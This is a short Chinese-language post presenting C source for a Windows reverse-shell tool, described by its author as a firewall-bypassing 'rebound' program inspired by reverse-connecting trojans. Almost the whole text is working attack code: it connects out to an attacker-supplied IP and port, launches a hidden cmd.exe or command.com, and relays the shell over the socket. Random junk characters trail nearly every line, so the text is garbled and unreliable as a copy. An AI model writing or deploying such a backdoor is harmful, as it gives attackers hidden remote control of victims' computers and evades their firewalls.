这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L.B~ax.|Z
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/* ============================== zOGR+Gq_Z
Rebound port in Windows NT )a cV-+{
By wind,2006/7 [X/(D9J
===============================*/ tln1eN((q
#include <I2z&
#include _k2w(ew?
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#pragma comment(lib,"wsock32.lib") HY)ESU
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void OutputShell(); ^od<JD4
SOCKET sClient; AhxGj+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B QjGv?p0s
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void main(int argc,char **argv) 3z[$4L'.
{ saW!9HQj
WSADATA stWsaData; ctI{^f:
int nRet; GGnp Pp
SOCKADDR_IN stSaiClient,stSaiServer; s@!$='|
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if(argc != 3) Qn=$8!Qqa
{ pn\V+Rg'
printf("Useage:\n\rRebound DestIP DestPort\n"); #a,9B-X
return; mX\
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} WY>Knp=
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WSAStartup(MAKEWORD(2,2),&stWsaData); yA;W/I4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8_Z/ o5s
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); QUOKThY?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sN/+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (E!!pz
{ Z'M`}3O
printf("Bind Socket Failed!\n"); 5 DFZ^~
return; &Lt@} 7$8
} C2/}d? bki
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stSaiServer.sin_family = AF_INET; \Tm}mAvK/o
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SY
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o""~jc~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &;>4N"]
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printf("Connect Error!"); qO()w
return; {-WTV"L5*2
} lhPGE_\
OutputShell(); `&*bM0(J
} O#_x)13
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void OutputShell() ^:cRp9l"7
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char szBuff[1024]; MCYl{uH!
SECURITY_ATTRIBUTES stSecurityAttributes; JwP:2-o
OSVERSIONINFO stOsversionInfo; Yx%bn?%;&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oNYZIk:
STARTUPINFO stStartupInfo; (?Q|s,
char *szShell; `s/?b|,
PROCESS_INFORMATION stProcessInformation; YQVcECj
unsigned long lBytesRead; K=\&+at1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8^ #mvHah
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n1J]p#nCa.
stSecurityAttributes.lpSecurityDescriptor = 0; U^_D|$6
stSecurityAttributes.bInheritHandle = TRUE; _gV8aH ZyM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D}{b;Un
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xsP4\C>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LmLGki$w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HL 8eD^
stStartupInfo.wShowWindow = SW_HIDE; ;j'Daupt;=
stStartupInfo.hStdInput = hReadPipe; M_1;$fWq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e7k%6'@
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GetVersionEx(&stOsversionInfo); ISNcswN#
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switch(stOsversionInfo.dwPlatformId) aj8Rb&
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case 1: Ly #_?\bn
szShell = "command.com"; AsxD}Nw[Z*
break; o8S"&O
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default: =m tY
szShell = "cmd.exe"; ' [p)N,
break; 2wlKBSON
} K&_Uk548
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xJhU<q~?
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send(sClient,szMsg,77,0); 8<dOMp;}r
while(1) f_\_9o"l
{ GP,<`l&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I1=(. *B}
if(lBytesRead) ;=~Xr"(/z
{ k1}hIAk3u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YpmYxd^
send(sClient,szBuff,lBytesRead,0);
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else r>n"
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{ a.kbov(
lBytesRead=recv(sClient,szBuff,1024,0); &ab|2*3?X
if(lBytesRead<=0) break; +%#8k9Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;Icixu'O
} 5<R%H{3j
} 1W,(\'^R
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return; bB6[Xj{
}